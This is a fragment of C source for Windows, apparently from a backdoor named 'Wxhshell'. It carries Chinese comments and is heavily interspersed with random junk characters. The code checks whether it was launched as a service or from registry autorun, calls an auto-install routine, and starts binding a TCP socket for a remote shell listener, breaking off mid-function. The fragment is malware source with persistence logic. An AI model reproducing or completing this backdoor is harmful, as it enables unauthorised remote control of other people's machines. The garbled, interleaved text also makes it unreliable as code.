< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y::I_6[eV if(hProcess==NULL) return 0; KNZN2N)wR ` e~nn HMODULE hMod; ]l.qp5eQ char procName[255]; t:?8I9d unsigned long cbNeeded; gfW8s+
{Hp*BE
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4?s
~S. % &!E+l<.RF CloseHandle(hProcess); E)h&<{% n,+/%IZ if(strstr(procName,"services")) return 1; // 以服务启动 `*`@r o MsL*\)*s return 0; // 注册表启动 6)B6c. 5o } $%ts#56* I8RPW:B;B // 主模块 .2V`sg.! int StartWxhshell(LPSTR lpCmdLine) !L)~*!+Gf { as%ab[ fX SOCKET wsl; E"|LA[o
BOOL val=TRUE; k Up[b~ int port=0; | ]DJz struct sockaddr_in door; |z`kFil% <,S5(pZ if(wscfg.ws_autoins) Install(); ~VqDh*0 wx,yx3c ( port=atoi(lpCmdLine); t"]+}]O t|ih{0 if(port<=0) port=wscfg.ws_port; _ 3l ci ,%zU5 hh WSADATA data; nn0`A3 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ygA~d9" WHM|kt if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uN)o|7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6zGM[2 door.sin_family = AF_INET; K Qz.g3, door.sin_addr.s_addr = inet_addr("127.0.0.1"); -/O_wqm# door.sin_port = htons(port); ^lp#j;Df nhm)P_p if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ? V0!N; closesocket(wsl); mEUdJvSG( return 1; 0L5n<< |